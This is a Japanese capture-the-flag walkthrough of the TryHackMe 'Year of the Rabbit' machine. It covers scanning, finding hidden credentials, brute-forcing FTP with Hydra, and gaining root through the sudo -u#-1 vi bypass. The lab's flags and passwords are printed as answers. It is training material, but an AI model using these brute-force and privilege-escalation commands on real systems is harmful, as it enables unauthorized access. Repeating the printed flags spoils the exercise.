概要
TryHackMe「Year of the Rabbit」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.27.24 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
| 2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
| 256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_ 256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.2 |
22 | ssh | OpenSSH 6.7p1 |
80 | http | Apache httpd 2.4.10 |
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.27.24
[05:40:00] 200 - 486B - /assets/
[05:40:00] 301 - 311B - /assets -> http://10.10.27.24/assets/
/assets
を見るとRickRolled.mp4
とstyle.css
を発見しました。
style.css
のコメントアウトから/sup3r_s3cr3t_fl4g.php
を発見しました。
/* Nice to see someone checking the stylesheets.
Take a look at the page: /sup3r_s3cr3t_fl4g.php
*/
/sup3r_s3cr3t_fl4g.php
にアクセスするとJavaScript
を無効にせよというポップアップが表示されました。
jsをオフにするとメッセージがあります。
RickRolled.mp4
を見る必要がありそう。
/assets/RickRolled.mp4
をみましたが、悪用できそうなものは見つかりませんでした。
/sup3r_s3cr3t_fl4g.php
のリクエストをBurpで見るとhidden_directory
パラメータで/WExYY2Cv-qU
の値を使用していました。
/WExYY2Cv-qU
へアクセスするとHot_Babe.png
を発見しました。
Hot_Babe.png
をダウンロードし、ファイル中の文字列を見るとFTPのユーザー名とパスワードを発見しました。
$ strings Hot_Babe.png
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
続いている文字列のいずれかがパスワードらしいので、文字列でパスワードファイルを作りHydra
でブルートフォースします。
$ hydra -f -l ftpuser -P pass.txt 10.10.27.24 ftp -t 40
[21][ftp] host: 10.10.27.24 login: ftpuser password: 5iez1wGXKfPKQ
FTPのパスワードがわかりました。
FTPにログインするとEli's_Creds.txt
を発見したのでダウンロードします。
ftp> ls
229 Entering Extended Passive Mode (|||40432|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 758 Jan 23 2020 Eli's_Creds.txt
ftp> get Eli's_Creds.txt
ファイルの中を見ると何かの文字列をが書かれていました。
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <
調べるとbrainfuck
というプログラミング言語で書かれているみたいです。
解読するとユーザー名とパスワードを得られました。
下記サイトで実行もできます。
eli
アカウントでSSHの接続に成功しました。
$ ssh eli@10.10.27.24
The authenticity of host '10.10.27.24 (10.10.27.24)' can't be established.
ED25519 key fingerprint is SHA256:va5tHoOroEmHPZGWQySirwjIb9lGquhnIA1Q0AY/Wrw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.27.24' (ED25519) to the list of known hosts.
eli@10.10.27.24's password:
1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
eli@year-of-the-rabbit:~$
そしてRoot
からGwendoline
のメッセージを確認できました。
/home/gwendoline/user.txt
は権限がなく、見られませんでした。
eli@year-of-the-rabbit:/home/gwendoline$ cat user.txt
cat: user.txt: Permission denied
s3cr3t
を探します。
$ find / -name s3cr3t 2>/dev/null
/usr/games/s3cr3t
/usr/games/s3cr3t/
配下を見るとファイルを発見しました。
$ ls -la /usr/games/s3cr3t/
total 12
drwxr-xr-x 2 root root 4096 Jan 23 2020 .
drwxr-xr-x 3 root root 4096 Jan 23 2020 ..
-rw-r--r-- 1 root root 138 Jan 23 2020 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
中にはgwendoline
のパスワードMniVCQVhQHUNI
がありました。
$ cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!
Yours sincerely
-Root
Username: gwendoline
,Password: MniVCQVhQHUNI
でログインに成功しました。
$ su gwendoline
Password:
/home/gwendoline/user.txt
からフラグを入手できます。
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}
A.THM{1107174691af9ff3681d2b5bdb5740b1589bae53}
Q2.What is the root flag?
sudo -l
で確認します。
$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gwendoline may run the following commands on year-of-the-rabbit:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
同様の設定の脆弱性を以前悪用したことがあり、それを試みました。
$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
# whoami
root
root権限を取得出来ました。
/root/root.txt
からフラグを入手できます。
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}
A.THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}